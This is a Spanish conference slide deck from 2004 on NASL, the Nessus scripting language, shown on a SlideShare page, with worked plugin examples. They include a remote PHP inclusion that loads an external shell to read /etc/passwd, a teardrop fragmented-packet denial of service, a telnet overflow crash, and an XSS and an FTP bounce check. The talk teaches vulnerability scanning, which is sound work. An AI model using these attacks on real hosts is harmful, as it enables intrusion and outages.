SlideShare ist ein Scribd-Unternehmen logo
1 von 55
Downloaden Sie, um offline zu lesen
FIST Conference Abril 2004




           NASL
lenguaje de desarrollo de exploits

      Rafael San Miguel Carrasco
FIST Conference Abril 2004


Tareas típicas del exploit dev :

• escribir las cabeceras de un datagrama IP
• implementar un diálogo HTTP
• capturar y procesar paquetes en modo
  promiscuo
• existencia de un fichero en un servidor
• comprobación de desbordamientos
FIST Conference Abril 2004


Contenido:

1)   NASL, Nessus, Knowledge Base
2)   Sintaxis del lenguaje NASL
3)   Librería de funciones
4)   Ejemplos de programación
5)   Consideraciones finales
FIST Conference Abril 2004


    Nessus:

•   Escáner de vulnerabilidades
•   Libre distribución
•   Entornos UNIX
•   www.nessus.org
•   Para ampliar su capacidad: NASL

NASL = Nessus Attack Scripting Language
FIST Conference Abril 2004


 Modelo cliente / servidor:
nessus


           nessusd      host   host   host
nessus


nessus
FIST Conference Abril 2004


Lanzamos el cliente Nessus:
FIST Conference Abril 2004


Selección de plugins:
FIST Conference Abril 2004


Fijamos algunas opciones:
FIST Conference Abril 2004


Rango de direcciones IP:
FIST Conference Abril 2004


Iniciamos el scan:
FIST Conference Abril 2004


Informe de vulnerabilidades:
FIST Conference Abril 2004


    Intérprete NASL:

•   nasl –t 192.168.0.128 script.nasl
•   previamente lanzamos nessusd
•   sólo direcciones IP permitidas
•   políticas: nessusd.rules y nessusd.users
FIST Conference Abril 2004


    Intérprete NASL:

•   nasl –t 192.168.0.128 script.nasl
•   previamente lanzamos nessusd
•   sólo direcciones IP permitidas
•   políticas: nessusd.rules y nessusd.users
FIST Conference Abril 2004


plugin malicioso:
nessus
            script malicioso

                nessusd            host    host     host
nessus


nessus

                        reporte de vulnerabilidad


 atacante
FIST Conference Abril 2004


Otra restricción:

• NASL no permite la ejecución de comandos
  locales



• No puede utilizarse para escribir exploits
  de ámbito local
FIST Conference Abril 2004


    Knowledge Base:

•   base de datos para cada host
•   datos relevantes para los scripts
•   set_kb_item ()
•   get_kb_item ()
FIST Conference Abril 2004


    Atributos de la clase Services:

•   Services/www
•   Services/ftp
•   Services/http_proxy
•   Services/imap
•   ...
FIST Conference Abril 2004


 Atributos de la clase Host:

• Host/OS
• Host/dead
   • modificado por scripts de ataques DoS
FIST Conference Abril 2004


    Otros atributos:

•   ftp/anonymous
•   www/frontpage
•   rpc/bootparamd
•   bind/version
•   ftp/root_via_cwd
•   ...
FIST Conference Abril 2004


    Sintaxis: estructuras de control

•   if (condición) { instr.} else { instr. }
•   for (inic; condición; instr) { instr. }
•   while (condición) { instr. }
•   foreach elemento (array) { instr. }
•   repeat { instr. } until (condición);
•   operador x:
        • send_packet (udp) x 30
FIST Conference Abril 2004


 Sintaxis: tipos de datos

• No se manejan explícitamente (Perl)
• Asignaciones:

   •   a = 100;
   •   nombre = “Rafael”;
   •   bytes = raw_string (0x41, 0x01, 0xFF);

• ¡No hay estructuras de datos!
FIST Conference Abril 2004


    Sintaxis: arrays

•   a [1] = 450;
•   b = “cadena”;
•   if (b [2] == “a”)
•   if (a [1] == 450)
•   Caso 1 : b [2] = “o”;
•   Caso 2 : b = insstr (b, “o”, 1, 1);
FIST Conference Abril 2004


 Sintaxis: funciones

• posibilidad de definir funciones
• existen limitaciones en la llamada a las
  funciones definidas por el programador
• sintaxis:
      function suma (a, b)
      {      instr.
             return (valor);
      }
FIST Conference Abril 2004


 Sintaxis: funciones no anónimas

• no importa el orden y número de argumentos
  especificados en la llamada
• debe indicarse el nombre de los argumentos:
      send (data: “hola”, socket: s);
• si faltan datos: se solicitan en tiempo de
 ejecución
FIST Conference Abril 2004


    Librería de funciones: clasificación

•   manipulación de cadenas
•   sockets
•   raw sockets
•   protocolos http, ftp, telnet
•   funciones criptográficas
•   funciones “vínculo” con Nessus
FIST Conference Abril 2004


 Funciones: manipulación de cadenas

• operadores ==, <, >
• operador ><
      • if (“Access denied” >< respuesta)
• ereg () y egrep () para pattern matching
• crap : para testear desbordamientos
      • crap (length: 1000, data: “bla”);
FIST Conference Abril 2004


    Funciones: sockets

•   send (), recv () sin dirección IP destino
•   recv_line (socket: s, length: 100, timeout: 5);
•   get_port_state (port)
•   tcp_ping ()
•   open_priv_sock_udp (srcport, dstport)

• flag MSG_OOB en send () ¿Por qué?
FIST Conference Abril 2004


Funciones: raw sockets

• protocolos soportados:
      ICMP, IGMP, TCP, UDP, IP
• funciones forge_X_packet ()
• pcap_next ()
• funciones get_X_elements ()
• insert_ip_options ()
• send_packet ()
FIST Conference Abril 2004


    Funciones: http, ftp, telnet
•   ftp_log_in (usuario, password)
•   telnet_init ()
•   http_get (), http_post (), http_head (), ...
•   is_cgi_installed (“/cgi-bin/search.cgi”)
•   cgi_dirs ()
        http_get (port: 80, item: “/cgi-bin/search.cgi”,
                  data: “query=hola”);

       ¡No podemos simular servidores!
FIST Conference Abril 2004


Funciones: criptográficas

• digests MD2, MD4, MD5
• digest SHA-1
• digest cifrado HMAC
  HMAC_DSS, HMAC_MD2, HMAC_MD4,
  HMAC_MD5, HMAC_RIPEMD160, ...
FIST Conference Abril 2004


    Funciones: integración con Nessus

•   script_category ()
•   script_family ()
•   script_bugtraq_id ()
•   script_cve_id ()
•   script_dependencies ()
FIST Conference Abril 2004


Funciones: integración con Nessus

• security_hole (descr., puerto)
• security_warning (descr., puerto)
• security_note (descr., puerto)
FIST Conference Abril 2004


Ejemplo: XSS en Mailman

Pasos:
  • comprobar la existencia del script
    vulnerable
  • enviar petición GET con código
    HTML/Javascript
  • comprobar respuesta del servidor
FIST Conference Abril 2004


Ejemplo: XSS en Mailman
puerto = 80;
cadena = "<script>alert(document.domain)</script>";
url = "/cgi-bin/listinfo";

display ("nMailman XSS bug testn--------------------n");

if (is_cgi_installed (url, puerto) ) {

               display ("info: listinfo existe en la version de mailman instaladan");

               socket = open_sock_tcp (puerto);
               peticion = http_get (item : "/cgi-bin/listinfo/" + cadena, port : puerto);
               rsend = send (socket : socket, data : peticion);
               rrecv = recv (socket : socket, length : 32000);
               close(socket);
FIST Conference Abril 2004


Ejemplo: XSS en Mailman
if (cadena >< rrecv)
             {
                           display ("info: esta version de mailman es vulnerable a XSSnn");
             } else {
                           display ("info: version NO vulnerable de mailmannn");
             }

             return (0);
}

display ("mailman no esta instalado en el servidornn");
FIST Conference Abril 2004


Ejemplo: XSS en Mailman
FIST Conference Abril 2004


Ejemplo: XSS en Mailman

Integración con Nessus:
  • bloque if : registro en nessusd
  if(description)
         {

         script_name(english:"Mailman XSS bug test");
         script_description(english:"Comprobación del fallo de XSS en Mailman");
         script_summary(english:“Petición GET con código HTML/JavaScript");
         script_category(ACT_ATTACK); script_family(english:"Misc.");
         script_copyright(english:"Rafael San Miguel Carrasco");
         exit(0);

         }
FIST Conference Abril 2004


Ejemplo: XSS en Mailman

Integración con Nessus:
  • notificación a Nessus
     if (cadena >< rrecv)
     {
                  report = “Mailman es vulnerable a XSS";
                  security_hole (port: 80, data:report);
     }


  • copiamos el .nasl /usr/lib/nessus/plugins
  • relanzamos nessusd
FIST Conference Abril 2004


Ejemplo: Inserción PHP en phpBB

• servidor web propio
• shell PHP de www.planet-source-code.com

   <php passthru (‘cat /etc/passwd’) ?>
FIST Conference Abril 2004


Ejemplo: Inserción PHP en phpBB

Pasos:
  • comprobar la existencia del PHP
    vulnerable
  • enviar petición GET con parámetros
    adecuados
  • verificar que en la respuesta del servidor
    aparece la cadena “root”
FIST Conference Abril 2004


Ejemplo: Inserción PHP en phpBB
puerto = 80;
cadena = "phpbb_root_path=http://www.soluciones-seguras.com/&phpEx=php";
url = "/album_portal.php";

display ("nphpBB Modified Insertion Bug Testn---------------------------n");

if (is_cgi_installed (url, puerto) ) {
     display ("info: phpBB esta instalado en el servidor n");

     socket = open_sock_tcp (puerto);
     peticion = http_get (item : url + "?" + cadena, port : puerto);
     rsend = send (socket : socket, data : peticion);
     rrecv = recv (socket : socket, length : 32000);
     close(socket);
FIST Conference Abril 2004


Ejemplo: Inserción PHP en phpBB
    if ("root" >< rrecv)
    {
           display ("info: se ha conseguido el fichero /etc/passwd del servidorn");
                             # pattern matching
              display (egrep (pattern: "^root*", string: rrecv) );
              display ("nn");

    } else {
          display ("info: la version no es vulnerablenn");
    }

    return (0);
}
FIST Conference Abril 2004


Ejemplo: Inserción PHP en phpBB
FIST Conference Abril 2004


Ejemplo: Inserción PHP en phpBB

Integración con Nessus:
  • bloque if de registro en nessusd
  • llamada a security_hole () si el ataque
    tiene éxito
  • copiamos el .nasl /usr/lib/nessus/plugins
  • relanzamos nessusd
FIST Conference Abril 2004


Ejemplo: teardrop

• ataque DoS que afecta a los stacks
  TCP/IP de algunos sistemas operativos
• fallo en el algoritmo de ensamblado
• implementación del exploit:
       • datagrama UDP 1:
           • payload N bytes, offset 0, MF on
      • datagrama UDP 2:
          •   payload < N, offset < N, MF off
FIST Conference Abril 2004


Ejemplo: teardrop
MAGIC = 2;
IPH = 20;
UDPH = 8;
PADDING = 0x1c;
MAGIC = 0x3;
IP_ID = 242;
sport = 123;
dport = 137;

LEN = IPH + UDPH + PADDING;

src = this_host();
ip = forge_ip_packet(ip_v : 4,
                                 ip_hl : 5, ip_tos : 0, ip_id : IP_ID, ip_len : LEN,
                                 ip_off : IP_MF, ip_p : IPPROTO_UDP, ip_src : src,
                                 ip_ttl : 0x40);
FIST Conference Abril 2004


Ejemplo: teardrop
LEN = UDPH + PADDING;
udp1 = forge_udp_packet(ip : ip, uh_sport : sport, uh_dport : dport, uh_len : LEN);

LEN = IPH + MAGIC + 1;
set_ip_elements(ip: ip, ip_len : LEN, ip_off : MAGIC);

LEN = UDPH + PADDING;
udp2 = forge_udp_packet(ip : ip, uh_sport : sport, uh_dport : dport, uh_len : LEN);

start_denial();
send_packet(udp1,udp2, pcap_active:FALSE) x 500;
alive = end_denial();

if(!alive) {
               set_kb_item(name:"Host/dead", value:TRUE);
               security_hole(0);
}
FIST Conference Abril 2004


Ejemplo: overflow en BFTelnet
•   nombre de usuario muy largo
•   provoca la caída del servicio telnet
•   fallo típico de muchos otros servidores
    (ftp, pop3, ...)
FIST Conference Abril 2004


Ejemplo: overflow en BFTelnet
port = get_kb_item ("Services/telnet");
if (!port) port = 23;
if (get_port_state(port)) {

             soc = open_sock_tcp(port);
             if (soc) {
                         banner = telnet_init(soc);
                         banner = string(banner, recv(socket:soc, length:1000));
                         data = string(crap(4000), "rn");
                         send(socket:soc, data:data);
                         close(soc);

                           soc2 = open_sock_tcp(port);
                           if(!soc2)
                                       security_warning(port);
             }
}
FIST Conference Abril 2004


Ejemplo: ftp bouncing
• comando PORT para conexión de datos
  (protocolo FTP)
• posibilidad de iniciar una conexión con
  host arbitrario
• utilidad:
        • port scanning
        • bypass de las reglas de un firewall
FIST Conference Abril 2004


Ejemplo: ftp bouncing
port = get_kb_item("Services/ftp");
if(!port)port = 21;

login = get_kb_item("ftp/login");
password = get_kb_item("ftp/password");

if (login) {
    soc = open_sock_tcp(port);
    if(soc) {
              if(ftp_log_in(socket:soc, user:login, pass:password)) {
                              command = string("PORT 66,88,91,109,0,21n");
                              send(socket:soc, data:command);
                              code = recv(socket:soc, length:4);
                              if(code == "200 ") security_hole(port);
               }
              close(soc);
     }
}
FIST Conference Abril 2004


Consideraciones finales:

• soporte multilenguaje
   name["english"] = "BFTelnet DoS";
   name["francais"]= "Déni de service contre BFTelnet";
   script_name(english:name["english"],
               francais:name["francais"]);

• forking automático y transparente
      ejemplo: dos puertos telnet
FIST Conference Abril 2004


Detección de WAPs con NASL:
www.tenablesecurity.com/white_papers/wap-id-nessus.pdf


Más información sobre NASL y Nessus:
www.nessus.org/documentation.html

Estas transparencias:
www.soluciones-seguras.com
www.fistconference.org
FIST Conference Abril 2004


Nuestra empresa: Soluciones Seguras
FIST Conference Abril 2004




¡Muchas gracias por venir!

Weitere ähnliche Inhalte

Was ist angesagt?

José Selvi - Unprivileged Network Post-Exploitation [RootedCON 2011]
José Selvi - Unprivileged Network Post-Exploitation [RootedCON 2011]José Selvi - Unprivileged Network Post-Exploitation [RootedCON 2011]
José Selvi - Unprivileged Network Post-Exploitation [RootedCON 2011]RootedCON
 
Rooted2020 taller de-reversing_de_binarios_escritos_en_golang_-_mariano_palom...
Rooted2020 taller de-reversing_de_binarios_escritos_en_golang_-_mariano_palom...Rooted2020 taller de-reversing_de_binarios_escritos_en_golang_-_mariano_palom...
Rooted2020 taller de-reversing_de_binarios_escritos_en_golang_-_mariano_palom...RootedCON
 
rooted2020-Rootkit necurs no_es_un_bug,_es_una_feature_-_roberto_santos_-_jav...
rooted2020-Rootkit necurs no_es_un_bug,_es_una_feature_-_roberto_santos_-_jav...rooted2020-Rootkit necurs no_es_un_bug,_es_una_feature_-_roberto_santos_-_jav...
rooted2020-Rootkit necurs no_es_un_bug,_es_una_feature_-_roberto_santos_-_jav...RootedCON
 
rooted2020 Sandbox fingerprinting -_evadiendo_entornos_de_analisis_-_victor_c...
rooted2020 Sandbox fingerprinting -_evadiendo_entornos_de_analisis_-_victor_c...rooted2020 Sandbox fingerprinting -_evadiendo_entornos_de_analisis_-_victor_c...
rooted2020 Sandbox fingerprinting -_evadiendo_entornos_de_analisis_-_victor_c...RootedCON
 
José Ramón Palanco - NoSQL Security [RootedCON 2011]
José Ramón Palanco - NoSQL Security [RootedCON 2011]José Ramón Palanco - NoSQL Security [RootedCON 2011]
José Ramón Palanco - NoSQL Security [RootedCON 2011]RootedCON
 
Técnicas de escaneo masivo - 11/2013
Técnicas de escaneo masivo - 11/2013Técnicas de escaneo masivo - 11/2013
Técnicas de escaneo masivo - 11/2013Websec México, S.C.
 
CPMX5 - Hacking like a boss por Roberto Salgado
CPMX5 - Hacking like a boss por Roberto SalgadoCPMX5 - Hacking like a boss por Roberto Salgado
CPMX5 - Hacking like a boss por Roberto SalgadoWebsec México, S.C.
 
I Know Your P4$$w0rd (And If I Don't, I Will Guess It...)
I Know Your P4$$w0rd (And If I Don't, I Will Guess It...)I Know Your P4$$w0rd (And If I Don't, I Will Guess It...)
I Know Your P4$$w0rd (And If I Don't, I Will Guess It...)Jaime Sánchez
 
Taller: Exploración de redes con Nmap
Taller: Exploración de redes con NmapTaller: Exploración de redes con Nmap
Taller: Exploración de redes con NmapWebsec México, S.C.
 
Mariano Palomo - Taller de reversing en sistemas Windows aplicado a CTFs [ro...
Mariano Palomo  - Taller de reversing en sistemas Windows aplicado a CTFs [ro...Mariano Palomo  - Taller de reversing en sistemas Windows aplicado a CTFs [ro...
Mariano Palomo - Taller de reversing en sistemas Windows aplicado a CTFs [ro...RootedCON
 
Gabriel Gonzalez - Man-In-Remote: PKCS11 for fun and non-profit [RootedCON 2011]
Gabriel Gonzalez - Man-In-Remote: PKCS11 for fun and non-profit [RootedCON 2011]Gabriel Gonzalez - Man-In-Remote: PKCS11 for fun and non-profit [RootedCON 2011]
Gabriel Gonzalez - Man-In-Remote: PKCS11 for fun and non-profit [RootedCON 2011]RootedCON
 
Alfonso Muñoz - Reviving Homograph attacks using (deep learning) steroids [ro...
Alfonso Muñoz - Reviving Homograph attacks using (deep learning) steroids [ro...Alfonso Muñoz - Reviving Homograph attacks using (deep learning) steroids [ro...
Alfonso Muñoz - Reviving Homograph attacks using (deep learning) steroids [ro...RootedCON
 
Jaime Peñalba - Como defenderse en terreno hostil: Protecciones para la Defco...
Jaime Peñalba - Como defenderse en terreno hostil: Protecciones para la Defco...Jaime Peñalba - Como defenderse en terreno hostil: Protecciones para la Defco...
Jaime Peñalba - Como defenderse en terreno hostil: Protecciones para la Defco...RootedCON
 
Linux basico-6.PDF
Linux basico-6.PDFLinux basico-6.PDF
Linux basico-6.PDFULEAM
 
Javier Saez - Una panorámica sobre la seguridad en entornos web [rootedvlc2]
Javier Saez - Una panorámica sobre la seguridad en entornos web [rootedvlc2]Javier Saez - Una panorámica sobre la seguridad en entornos web [rootedvlc2]
Javier Saez - Una panorámica sobre la seguridad en entornos web [rootedvlc2]RootedCON
 
Pentesting 101 por Paulino Calderon
Pentesting 101 por Paulino CalderonPentesting 101 por Paulino Calderon
Pentesting 101 por Paulino CalderonWebsec México, S.C.
 
Lorenzo Martínez - Linux DFIR: My Way! [rooted2019]
Lorenzo Martínez - Linux DFIR: My Way! [rooted2019]Lorenzo Martínez - Linux DFIR: My Way! [rooted2019]
Lorenzo Martínez - Linux DFIR: My Way! [rooted2019]RootedCON
 

Was ist angesagt? (19)

José Selvi - Unprivileged Network Post-Exploitation [RootedCON 2011]
José Selvi - Unprivileged Network Post-Exploitation [RootedCON 2011]José Selvi - Unprivileged Network Post-Exploitation [RootedCON 2011]
José Selvi - Unprivileged Network Post-Exploitation [RootedCON 2011]
 
Rooted2020 taller de-reversing_de_binarios_escritos_en_golang_-_mariano_palom...
Rooted2020 taller de-reversing_de_binarios_escritos_en_golang_-_mariano_palom...Rooted2020 taller de-reversing_de_binarios_escritos_en_golang_-_mariano_palom...
Rooted2020 taller de-reversing_de_binarios_escritos_en_golang_-_mariano_palom...
 
rooted2020-Rootkit necurs no_es_un_bug,_es_una_feature_-_roberto_santos_-_jav...
rooted2020-Rootkit necurs no_es_un_bug,_es_una_feature_-_roberto_santos_-_jav...rooted2020-Rootkit necurs no_es_un_bug,_es_una_feature_-_roberto_santos_-_jav...
rooted2020-Rootkit necurs no_es_un_bug,_es_una_feature_-_roberto_santos_-_jav...
 
rooted2020 Sandbox fingerprinting -_evadiendo_entornos_de_analisis_-_victor_c...
rooted2020 Sandbox fingerprinting -_evadiendo_entornos_de_analisis_-_victor_c...rooted2020 Sandbox fingerprinting -_evadiendo_entornos_de_analisis_-_victor_c...
rooted2020 Sandbox fingerprinting -_evadiendo_entornos_de_analisis_-_victor_c...
 
José Ramón Palanco - NoSQL Security [RootedCON 2011]
José Ramón Palanco - NoSQL Security [RootedCON 2011]José Ramón Palanco - NoSQL Security [RootedCON 2011]
José Ramón Palanco - NoSQL Security [RootedCON 2011]
 
Técnicas de escaneo masivo - 11/2013
Técnicas de escaneo masivo - 11/2013Técnicas de escaneo masivo - 11/2013
Técnicas de escaneo masivo - 11/2013
 
CPMX5 - Hacking like a boss por Roberto Salgado
CPMX5 - Hacking like a boss por Roberto SalgadoCPMX5 - Hacking like a boss por Roberto Salgado
CPMX5 - Hacking like a boss por Roberto Salgado
 
I Know Your P4$$w0rd (And If I Don't, I Will Guess It...)
I Know Your P4$$w0rd (And If I Don't, I Will Guess It...)I Know Your P4$$w0rd (And If I Don't, I Will Guess It...)
I Know Your P4$$w0rd (And If I Don't, I Will Guess It...)
 
Taller: Exploración de redes con Nmap
Taller: Exploración de redes con NmapTaller: Exploración de redes con Nmap
Taller: Exploración de redes con Nmap
 
Mariano Palomo - Taller de reversing en sistemas Windows aplicado a CTFs [ro...
Mariano Palomo  - Taller de reversing en sistemas Windows aplicado a CTFs [ro...Mariano Palomo  - Taller de reversing en sistemas Windows aplicado a CTFs [ro...
Mariano Palomo - Taller de reversing en sistemas Windows aplicado a CTFs [ro...
 
Gabriel Gonzalez - Man-In-Remote: PKCS11 for fun and non-profit [RootedCON 2011]
Gabriel Gonzalez - Man-In-Remote: PKCS11 for fun and non-profit [RootedCON 2011]Gabriel Gonzalez - Man-In-Remote: PKCS11 for fun and non-profit [RootedCON 2011]
Gabriel Gonzalez - Man-In-Remote: PKCS11 for fun and non-profit [RootedCON 2011]
 
Alfonso Muñoz - Reviving Homograph attacks using (deep learning) steroids [ro...
Alfonso Muñoz - Reviving Homograph attacks using (deep learning) steroids [ro...Alfonso Muñoz - Reviving Homograph attacks using (deep learning) steroids [ro...
Alfonso Muñoz - Reviving Homograph attacks using (deep learning) steroids [ro...
 
Jaime Peñalba - Como defenderse en terreno hostil: Protecciones para la Defco...
Jaime Peñalba - Como defenderse en terreno hostil: Protecciones para la Defco...Jaime Peñalba - Como defenderse en terreno hostil: Protecciones para la Defco...
Jaime Peñalba - Como defenderse en terreno hostil: Protecciones para la Defco...
 
Linux basico-6.PDF
Linux basico-6.PDFLinux basico-6.PDF
Linux basico-6.PDF
 
Javier Saez - Una panorámica sobre la seguridad en entornos web [rootedvlc2]
Javier Saez - Una panorámica sobre la seguridad en entornos web [rootedvlc2]Javier Saez - Una panorámica sobre la seguridad en entornos web [rootedvlc2]
Javier Saez - Una panorámica sobre la seguridad en entornos web [rootedvlc2]
 
Pentesting 101 por Paulino Calderon
Pentesting 101 por Paulino CalderonPentesting 101 por Paulino Calderon
Pentesting 101 por Paulino Calderon
 
Lorenzo Martínez - Linux DFIR: My Way! [rooted2019]
Lorenzo Martínez - Linux DFIR: My Way! [rooted2019]Lorenzo Martínez - Linux DFIR: My Way! [rooted2019]
Lorenzo Martínez - Linux DFIR: My Way! [rooted2019]
 
Kali linux guia español
Kali linux guia españolKali linux guia español
Kali linux guia español
 
Pablo sanemeteriovalencia
Pablo sanemeteriovalenciaPablo sanemeteriovalencia
Pablo sanemeteriovalencia
 

Andere mochten auch

Andere mochten auch (8)

Network Access Protection
Network Access ProtectionNetwork Access Protection
Network Access Protection
 
Seguridad en Windows Mobile
Seguridad en Windows MobileSeguridad en Windows Mobile
Seguridad en Windows Mobile
 
Que es Seguridad
Que es SeguridadQue es Seguridad
Que es Seguridad
 
Seguridad en Open Solaris
Seguridad en Open SolarisSeguridad en Open Solaris
Seguridad en Open Solaris
 
Seguridad en Entornos Web Open Source
Seguridad en Entornos Web Open SourceSeguridad en Entornos Web Open Source
Seguridad en Entornos Web Open Source
 
Spanish Honeynet Project
Spanish Honeynet ProjectSpanish Honeynet Project
Spanish Honeynet Project
 
SAP Security
SAP SecuritySAP Security
SAP Security
 
Las Evidencias Digitales en la Informática Forense
Las Evidencias Digitales en la Informática ForenseLas Evidencias Digitales en la Informática Forense
Las Evidencias Digitales en la Informática Forense
 

Ähnlich wie NASL

Lw2010 Pedro Valera
Lw2010 Pedro ValeraLw2010 Pedro Valera
Lw2010 Pedro Valeraguestf280e2
 
Scripting para Pentesters v1.0
Scripting para Pentesters v1.0Scripting para Pentesters v1.0
Scripting para Pentesters v1.0wcuestas
 
Pentest - El Arte de la Guerra
Pentest - El Arte de la GuerraPentest - El Arte de la Guerra
Pentest - El Arte de la GuerraLuis Cortes Zavala
 
Rendimiento en magento
Rendimiento en magentoRendimiento en magento
Rendimiento en magentoOnestic
 
Webinar Gratuito: "Tomar Control de un Servidor con Armitage"
Webinar Gratuito: "Tomar Control de un Servidor con Armitage"Webinar Gratuito: "Tomar Control de un Servidor con Armitage"
Webinar Gratuito: "Tomar Control de un Servidor con Armitage"Alonso Caballero
 
Policyd: Instalacion y configuracion
Policyd: Instalacion y configuracionPolicyd: Instalacion y configuracion
Policyd: Instalacion y configuracioncriscega
 
VI Foro Evidencias Electrónicas en la Investigación Policial. Análisis forens...
VI Foro Evidencias Electrónicas en la Investigación Policial. Análisis forens...VI Foro Evidencias Electrónicas en la Investigación Policial. Análisis forens...
VI Foro Evidencias Electrónicas en la Investigación Policial. Análisis forens...Internet Security Auditors
 
LSWC PostgreSQL 9.1 (2011)
LSWC PostgreSQL 9.1 (2011)LSWC PostgreSQL 9.1 (2011)
LSWC PostgreSQL 9.1 (2011)Emanuel Calvo
 
Multi relay
Multi relayMulti relay
Multi relayjselvi
 
SNMP males y beneficios en VoIP - Elastixcom Caracas 2016
SNMP males y beneficios en VoIP - Elastixcom Caracas 2016SNMP males y beneficios en VoIP - Elastixcom Caracas 2016
SNMP males y beneficios en VoIP - Elastixcom Caracas 2016Luis Sanchez
 
Introducción a los servidores Linux
Introducción a los servidores LinuxIntroducción a los servidores Linux
Introducción a los servidores LinuxOscar Gonzalez
 
Presentacion ute
Presentacion utePresentacion ute
Presentacion utemies
 
Backtrack 5 manual traducido
Backtrack 5 manual traducido Backtrack 5 manual traducido
Backtrack 5 manual traducido Millward Brown
 

Ähnlich wie NASL (20)

Sistemas Honeynet
Sistemas HoneynetSistemas Honeynet
Sistemas Honeynet
 
Lw2010 Pedro Valera
Lw2010 Pedro ValeraLw2010 Pedro Valera
Lw2010 Pedro Valera
 
Scripting para Pentesters v1.0
Scripting para Pentesters v1.0Scripting para Pentesters v1.0
Scripting para Pentesters v1.0
 
php y mysql
php y mysqlphp y mysql
php y mysql
 
Pentest - El Arte de la Guerra
Pentest - El Arte de la GuerraPentest - El Arte de la Guerra
Pentest - El Arte de la Guerra
 
Rendimiento en magento
Rendimiento en magentoRendimiento en magento
Rendimiento en magento
 
19 javascript servidor
19 javascript servidor19 javascript servidor
19 javascript servidor
 
Snort 2006
Snort 2006Snort 2006
Snort 2006
 
Web cryptography
Web cryptographyWeb cryptography
Web cryptography
 
Webinar Gratuito: "Tomar Control de un Servidor con Armitage"
Webinar Gratuito: "Tomar Control de un Servidor con Armitage"Webinar Gratuito: "Tomar Control de un Servidor con Armitage"
Webinar Gratuito: "Tomar Control de un Servidor con Armitage"
 
Policyd: Instalacion y configuracion
Policyd: Instalacion y configuracionPolicyd: Instalacion y configuracion
Policyd: Instalacion y configuracion
 
VI Foro Evidencias Electrónicas en la Investigación Policial. Análisis forens...
VI Foro Evidencias Electrónicas en la Investigación Policial. Análisis forens...VI Foro Evidencias Electrónicas en la Investigación Policial. Análisis forens...
VI Foro Evidencias Electrónicas en la Investigación Policial. Análisis forens...
 
LSWC PostgreSQL 9.1 (2011)
LSWC PostgreSQL 9.1 (2011)LSWC PostgreSQL 9.1 (2011)
LSWC PostgreSQL 9.1 (2011)
 
Multi relay
Multi relayMulti relay
Multi relay
 
Introduccion al PHP.ppt
Introduccion al PHP.pptIntroduccion al PHP.ppt
Introduccion al PHP.ppt
 
SNMP males y beneficios en VoIP - Elastixcom Caracas 2016
SNMP males y beneficios en VoIP - Elastixcom Caracas 2016SNMP males y beneficios en VoIP - Elastixcom Caracas 2016
SNMP males y beneficios en VoIP - Elastixcom Caracas 2016
 
Introducción a los servidores Linux
Introducción a los servidores LinuxIntroducción a los servidores Linux
Introducción a los servidores Linux
 
Presentacion ute
Presentacion utePresentacion ute
Presentacion ute
 
Backtrack 5 manual traducido
Backtrack 5 manual traducidoBacktrack 5 manual traducido
Backtrack 5 manual traducido
 
Backtrack 5 manual traducido
Backtrack 5 manual traducido Backtrack 5 manual traducido
Backtrack 5 manual traducido
 

Mehr von Conferencias FIST

Mehr von Conferencias FIST (20)

Evolución y situación actual de la seguridad en redes WiFi
Evolución y situación actual de la seguridad en redes WiFiEvolución y situación actual de la seguridad en redes WiFi
Evolución y situación actual de la seguridad en redes WiFi
 
El Information Security Forum
El Information Security ForumEl Information Security Forum
El Information Security Forum
 
Criptografia Cuántica
Criptografia CuánticaCriptografia Cuántica
Criptografia Cuántica
 
Inseguridad en Redes Wireless
Inseguridad en Redes WirelessInseguridad en Redes Wireless
Inseguridad en Redes Wireless
 
Mas allá de la Concienciación
Mas allá de la ConcienciaciónMas allá de la Concienciación
Mas allá de la Concienciación
 
Security Metrics
Security MetricsSecurity Metrics
Security Metrics
 
PKI Interoperability
PKI InteroperabilityPKI Interoperability
PKI Interoperability
 
Wifislax 3.1
Wifislax 3.1Wifislax 3.1
Wifislax 3.1
 
Network Forensics
Network ForensicsNetwork Forensics
Network Forensics
 
Riesgo y Vulnerabilidades en el Desarrollo
Riesgo y Vulnerabilidades en el DesarrolloRiesgo y Vulnerabilidades en el Desarrollo
Riesgo y Vulnerabilidades en el Desarrollo
 
Demostracion Hacking Honeypot y Análisis Forense
Demostracion Hacking Honeypot y Análisis ForenseDemostracion Hacking Honeypot y Análisis Forense
Demostracion Hacking Honeypot y Análisis Forense
 
Security Maturity Model
Security Maturity ModelSecurity Maturity Model
Security Maturity Model
 
Cisco Equipment Security
Cisco Equipment SecurityCisco Equipment Security
Cisco Equipment Security
 
IDS with Artificial Intelligence
IDS with Artificial IntelligenceIDS with Artificial Intelligence
IDS with Artificial Intelligence
 
Continuidad de Negocio
Continuidad de NegocioContinuidad de Negocio
Continuidad de Negocio
 
Malware RADA
Malware RADAMalware RADA
Malware RADA
 
Esteganografia
EsteganografiaEsteganografia
Esteganografia
 
Oissg
OissgOissg
Oissg
 
Gestión de Riesgos
Gestión de RiesgosGestión de Riesgos
Gestión de Riesgos
 
Seguridad Windows Server 2008
Seguridad Windows Server 2008Seguridad Windows Server 2008
Seguridad Windows Server 2008
 

Kürzlich hochgeladen

Global Azure Lima 2024 - Integración de Datos con Microsoft Fabric
Global Azure Lima 2024 - Integración de Datos con Microsoft FabricGlobal Azure Lima 2024 - Integración de Datos con Microsoft Fabric
Global Azure Lima 2024 - Integración de Datos con Microsoft FabricKeyla Dolores Méndez
 
Trabajo Mas Completo De Excel en clase tecnología
Trabajo Mas Completo De Excel en clase tecnologíaTrabajo Mas Completo De Excel en clase tecnología
Trabajo Mas Completo De Excel en clase tecnologíassuserf18419
 
EPA-pdf resultado da prova presencial Uninove
EPA-pdf resultado da prova presencial UninoveEPA-pdf resultado da prova presencial Uninove
EPA-pdf resultado da prova presencial UninoveFagnerLisboa3
 
Proyecto integrador. Las TIC en la sociedad S4.pptx
Proyecto integrador. Las TIC en la sociedad S4.pptxProyecto integrador. Las TIC en la sociedad S4.pptx
Proyecto integrador. Las TIC en la sociedad S4.pptx241521559
 
Desarrollo Web Moderno con Svelte 2024.pdf
Desarrollo Web Moderno con Svelte 2024.pdfDesarrollo Web Moderno con Svelte 2024.pdf
Desarrollo Web Moderno con Svelte 2024.pdfJulian Lamprea
 
Presentación guía sencilla en Microsoft Excel.pptx
Presentación guía sencilla en Microsoft Excel.pptxPresentación guía sencilla en Microsoft Excel.pptx
Presentación guía sencilla en Microsoft Excel.pptxLolaBunny11
 
POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...
